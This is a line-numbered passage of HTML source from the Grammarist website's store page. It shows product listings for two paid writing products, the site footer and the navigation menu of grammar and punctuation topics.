1614<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="576" src="https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-1024x576.png" class="wp-block-cover__image-background wp-post-image" alt="FWC Freelance Writing Course" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-300x169.png 300w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-768x432.png 768w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-2048x1152.png 2048w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-600x338.png 600w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist Freelance Writer&#039;s Roadmap 6"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge"	data-wp-bind--hidden="!state.isOnSale"
1615	hidden>
1616	Sale</div>
1617</div></div>
1618</div></div>
1619
1620
1621<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist Freelance Writer&#8217;s Roadmap">
1622	
1623	Grammarist Freelance Writer&#8217;s Roadmap
1624	</h2>
1625
1626
1627
1628<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price">
1629	$249</div>
1630
1631
1632</div>
1633</div>
1634
1635					</a>
1636							</form>
1637		</li>
1638	
1639		<li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108525">
1640			<form
1641				data-wp-interactive='{ "namespace": "surecart/product-page" }'
1642				data-wp-on--submit="callbacks.handleSubmit"
1643				data-wp-init="callbacks.init"
1644				data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"5e85abea-ad07-48db-8d9d-6762aed14187","archived":false,"available_stock":0,"name":"The Grammarist Insider Daily (deprecated)","permalink":"https:\/\/grammarist.com\/products\/grammarist-insider-daily\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/TGID-768x419.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":419,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/TGID-768x419.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/TGID-300x164.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/TGID-1024x559.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/TGID.png 1100w","sizes":"(max-width: 768px) 100vw, 768px"}}
1644,"selectedPrice":{"id":"e849949f-9470-4d56-960b-92559e591713","ad_hoc":false,"amount":14700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$147","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"e849949f-9470-4d56-960b-92559e591713","ad_hoc":false,"amount":14700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$147","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},{"id":"a005debe-d18a-4f5b-8f26-ebe5b5b72585","ad_hoc":false,"amount":1700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$17","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}'				>
1645									<a class="sc-product-item-link" href="https://grammarist.com/products/grammarist-insider-daily/">
1646						
1647
1648<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px">
1649<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained">
1650<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="559" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201024%20559'%3E%3C/svg%3E" class="wp-block-cover__image-background wp-post-image" alt="TGID" data-object-fit="cover" data-lazy-srcset="https://grammarist.com/wp-content/uploads/TGID-1024x559.png 1024w, https://grammarist.com/wp-content/uploads/TGID-300x164.png 300w, https://grammarist.com/wp-content/uploads/TGID-768x419.png 768w, https://grammarist.com/wp-content/uploads/TGID.png 1100w" data-lazy-sizes="(max-width: 1024px) 100vw, 1024px" title="The Grammarist Insider Daily (deprecated) 7" data-lazy-src="https://grammarist.com/wp-content/uploads/TGID-1024x559.png"><noscript><img decoding="async" width="1024" height="559" src="https://grammarist.com/wp-content/uploads/TGID-1024x559.png" class="wp-block-cover__image-background wp-post-image" alt="TGID" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/TGID-1024x559.png 1024w, https://grammarist.com/wp-content/uploads/TGID-300x164.png 300w, https://grammarist.com/wp-content/uploads/TGID-768x419.png 768w, https://grammarist.com/wp-content/uploads/TGID.png 1100w" sizes="(max-width: 1024px) 100vw, 1024px" title="The Grammarist Insider Daily (deprecated) 7"></noscript><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge"	data-wp-bind--hidden="!state.isOnSale"
1651	hidden>
1652	Sale</div>
1653</div></div>
1654</div></div>
1655
1656
1657<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="The Grammarist Insider Daily (deprecated)">
1658	
1659	The Grammarist Insider Daily (deprecated)
1660	</h2>
1661
1662
1663
1664<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price">
1665	$147</div>
1666
1667
1668</div>
1669</div>
1670
1671					</a>
1672							</form>
1673		</li>
1674	</ul>
1675
1676
1677
1678
1679
1680
1681	<div  class="sc-block-ui" data-wp-bind--hidden="!state.loading" hidden></div>
1682</div>
1683		</div>
1684
1685			</div>
1686</article>
1687		</main>
1688	</div>
1689
1690	
1691	</div>
1692</div>
1693
1694
1695<div class="no-wpr-lazyrender site-footer">
1696	<div class="gb-container gb-container-8ea0a712"><div class="gb-inside-container">
1697<div class="gb-grid-wrapper gb-grid-wrapper-625e6116">
1698<div class="gb-grid-column gb-grid-column-08e508e0"><div class="gb-container gb-container-08e508e0"><div class="gb-inside-container">
1699
1700<p class="has-small-font-size wp-block-paragraph">Grammarist is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com. When you buy via the links on our site, we may earn an affiliate commission at no cost to you.</p>
1701
1702</div></div></div>
1703
1704<div class="gb-grid-column gb-grid-column-fa4f993b"><div class="gb-container gb-container-fa4f993b"><div class="gb-inside-container">
1705<div class="gb-button-wrapper gb-button-wrapper-b0e77445">
1706
1707<a class="gb-button gb-button-9a533ee7" href="https://twitter.com/_grammarist" target="_blank" rel="noopener noreferrer" aria-label="twitter link"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg">
1707<path fill="currentColor" d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg></span></a>
1708
1709
1710
1711<a class="gb-button gb-button-e245e61c" href="https://www.facebook.com/grammaristweb/" target="_blank" rel="noopener noreferrer" aria-label="facebook link"><span class="gb-icon"><svg aria-hidden="true" height="1em" width="1em" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"></path></svg></span></a>
1712
1713
1714
1715<a class="gb-button gb-button-06705bce" href="https://www.youtube.com/channel/UCFhPTWXjPIw1qlZ0mhWCQtQ" target="_blank" rel="noopener noreferrer" aria-label="facebook link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg></span></a>
1716
1717
1718
1719<a class="gb-button gb-button-2183700e" href="https://pinterest.com/grammar_rules/" target="_blank" rel="noopener noreferrer" aria-label="facebook link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path></svg></span></a>
1720
1721</div>
1722</div></div></div>
1723</div>
1724
1725<div class="gb-container gb-container-30166353"><div class="gb-inside-container">
1726<div class="gb-grid-wrapper gb-grid-wrapper-150dce3f">
1727<div class="gb-grid-column gb-grid-column-bd73b5c4"><div class="gb-container gb-container-bd73b5c4"><div class="gb-inside-container">
1728
1729<p class="gb-headline gb-headline-a8a1fab4 gb-headline-text">2024 © Grammarist, a Found First Marketing company. All rights reserved.</p>
1730
1731</div></div></div>
1732
1733<div class="gb-grid-column gb-grid-column-571e035c"><div class="gb-container gb-container-571e035c"><div class="gb-inside-container">
1734<div class="gb-button-wrapper gb-button-wrapper-5d2efd4d">
1735
1736<a class="gb-button gb-button-acc1ae52 gb-button-text" href="https://grammarist.com/">Home</a>
1737
1738
1739
1740<a class="gb-button gb-button-10d87555 gb-button-text" href="https://grammarist.com/about/">About</a>
1741
1742
1743
1744<a class="gb-button gb-button-c6cb8221 gb-button-text" href="https://grammarist.com/contact/">Contact</a>
1745
1746
1747
1748<a class="gb-button gb-button-de679170 gb-button-text" href="https://grammarist.com/advertise-on-grammarist/">Advertise</a>
1749
1750
1751
1752<a class="gb-button gb-button-fc518b3e gb-button-text" href="https://grammarist.com/privacy-policy/">Privacy Policy</a>
1753
1754
1755
1756<a class="gb-button gb-button-1d0279eb gb-button-text" href="https://grammarist.com/terms-of-service/">Terms</a>
1757
1758
1759
1760<a class="gb-button gb-button-4b1b2754 gb-button-text" href="https://grammarist.com/refund-policy/">Refund Policy</a>
1761
1762
1763
1764<a class="gb-button gb-button-0c241779 gb-button-text" href="https://grammarist.com/sitemap/">Sitemap</a>
1765
1766
1767
1768<a class="gb-button gb-button-4af34509 gb-button-text" href="https://grammarist.com/affiliate-area/">Affiliates</a>
1769
1770</div>
1771</div></div></div>
1772</div>
1773</div></div>
1774</div><div class="gb-shapes"><div class="gb-shape gb-shape-1"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 100" preserveAspectRatio="none"><path d="M1200 100H0V0l400 77.2L1200 0z"/></svg></div></div></div></div>
1775
1776		<nav id="generate-slideout-menu" class="main-navigation slideout-navigation" itemtype="https://schema.org/SiteNavigationElement" itemscope>
1777			<div class="inside-navigation grid-container grid-parent">
1778				<button class="slideout-exit has-svg-icon"><span class="gp-icon pro-close">
1779				<svg viewBox="0 0 512 512" aria-hidden="true" role="img" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1em" height="1em">
1780					<path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.
178003c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" />
1781				</svg>
1782			</span> <span class="screen-reader-text">Close</span></button><div class="main-nav"><ul id="menu-main-menu-new-1" class=" slideout-menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89785"><a href="https://grammarist.com/grammar/">Grammar<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1783<ul class="sub-menu">
1784	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89786"><a href="https://grammarist.com/parts-of-speech/">Parts of Speech<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1785	<ul class="sub-menu">
1786		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89787"><a href="https://grammarist.com/grammar/nouns/">Nouns</a></li>
1787		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89788"><a href="https://grammarist.com/grammar/pronouns/">Pronouns</a></li>
1788		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-has-children menu-item-89789"><a href="https://grammarist.com/grammar/verbs/">Verbs<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1789		<ul class="sub-menu">
1790			<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89790"><a href="https://grammarist.com/grammar/verb-tenses/">Verb Tenses</a></li>
1791		</ul>
1792</li>
1793		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89791"><a href="https://grammarist.com/grammar/adjectives/">Adjectives</a></li>
1794		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89792"><a href="https://grammarist.com/grammar/adverbs/">Adverbs</a></li>
1795		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89793"><a href="https://grammarist.com/grammar/conjunctions/">Conjunctions</a></li>
1796		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89794"><a href="https://grammarist.com/grammar/prepositions/">Prepositions</a></li>
1797		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89795"><a href="https://grammarist.com/grammar/what-is-a-determiner/">Determiners</a></li>
1798		<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89796"><a href="https://grammarist.com/grammar/interjections/">Interjections</a></li>
1799	</ul>
1800</li>
1801	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89797"><a href="https://grammarist.com/writing-tools/best-grammar-checker/">Best Grammar Checkers</a></li>
1802	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89798"><a href="https://grammarist.com/grammar/grammar-errors-mistakes-examples/">Common Grammar Mistakes</a></li>
1803	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89799"><a href="https://grammarist.com/style/">Style</a></li>
1804</ul>
1805</li>
1806<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89800"><a href="https://grammarist.com/punctuation-marks/">Punctuation<span role="presentation" class="dropdown-menu-toggle">
1806<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1807<ul class="sub-menu">
1808	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89801"><a href="https://grammarist.com/grammar/period/">Period</a></li>
1809	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89802"><a href="https://grammarist.com/grammar/question-marks/">Question Mark</a></li>
1810	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89803"><a href="https://grammarist.com/grammar/exclamation-point/">Exclamation Point</a></li>
1811	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89804"><a href="https://grammarist.com/grammar/commas/">Comma</a></li>
1812	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89805"><a href="https://grammarist.com/grammar/colon/">Colon</a></li>
1813	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89806"><a href="https://grammarist.com/grammar/semicolon/">Semicolon</a></li>
1814	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89807"><a href="https://grammarist.com/grammar/quotation-marks/">Quotation Marks</a></li>
1815	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89808"><a href="https://grammarist.com/grammar/apostrophe/">Apostrophe</a></li>
1816	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89809"><a href="https://grammarist.com/grammar/hyphens/">Hyphen</a></li>
1817	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89810"><a href="https://grammarist.com/grammar/en-dash/">En Dash</a></li>
1818	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89811"><a href="https://grammarist.com/grammar/emdash/">Em Dash</a></li>
1819	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89812"><a href="https://grammarist.com/grammar/parentheses/">Parentheses</a></li>
1820	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89813"><a href="https://grammarist.com/punctuation/curly-braces-brackets/">Curly Braces</a></li>
1821	<li class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89814"><a href="https://grammarist.com/grammar/virgule/">Slash</a></li>
1822</ul>
1823</li>
1824<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89815"><a href="https://grammarist.com/vocabulary/">Vocabulary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1825<ul class="sub-menu">
1826	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89816"><a href="https://grammarist.com/usage/">Usage</a></li>
1827	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89817"><a href="https://grammarist.com/idiom/">Idioms</a></li>
1828	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89818"><a href="https://grammarist.com/proverb/">Proverbs</a></li>
1829	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89819"><a href="https://grammarist.com/category/phrase/">Phrases</a></li>
1830	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89820"><a href="https://grammarist.com/acronyms/">Acronyms</a></li>
1831	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89821"><a href="https://grammarist.com/mondegreens/">Mondegreens</a></li>
1832	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89822"><a href="https://grammarist.com/eggcorns/">Eggcorns</a></li>
1833</ul>
1834</li>
1835<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89823"><a href="https://grammarist.com/spelling/">Spelling<span role="presentation" class="dropdown-menu-toggle">
1835<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1836<ul class="sub-menu">
1837	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89824"><a href="https://grammarist.com/tricky-hard-words-to-spell/">Hard Words to Spell</a></li>
1838	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89825"><a href="https://grammarist.com/compounds/">Compound Words</a></li>
1839	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89826"><a href="https://grammarist.com/homophones/">Homophones</a></li>
1840	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89827"><a href="https://grammarist.com/category/homonyms/">Homonyms</a></li>
1841	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89828"><a href="https://grammarist.com/heteronyms/">Heteronyms</a></li>
1842</ul>
1843</li>
1844<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-89829"><a href="https://grammarist.com/category/writing/">Writing<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1845<ul class="sub-menu">
1846	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89830"><a href="https://grammarist.com/category/editing/">Editing</a></li>
1847	<li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89831"><a href="https://grammarist.com/category/writing-tools/">Writing Tools</a></li>
1848</ul>
1849</li>
1850<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-96816"><a href="https://grammarist.com/proofreading-editing-services/">Proofreading Services</a></li>
1851</ul></div>
1852<a class="gb-button gb-button-46046420 gb-button-text" href="https://grammarist.com/store">shop</a>
1853<section class="gb-container gb-container-8bd03f51">
1854
1855<p class="gb-headline gb-headline-f65f32eb login-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/" data-type="page" data-id="108518">log in</a></span></p>
1856
1857
1858
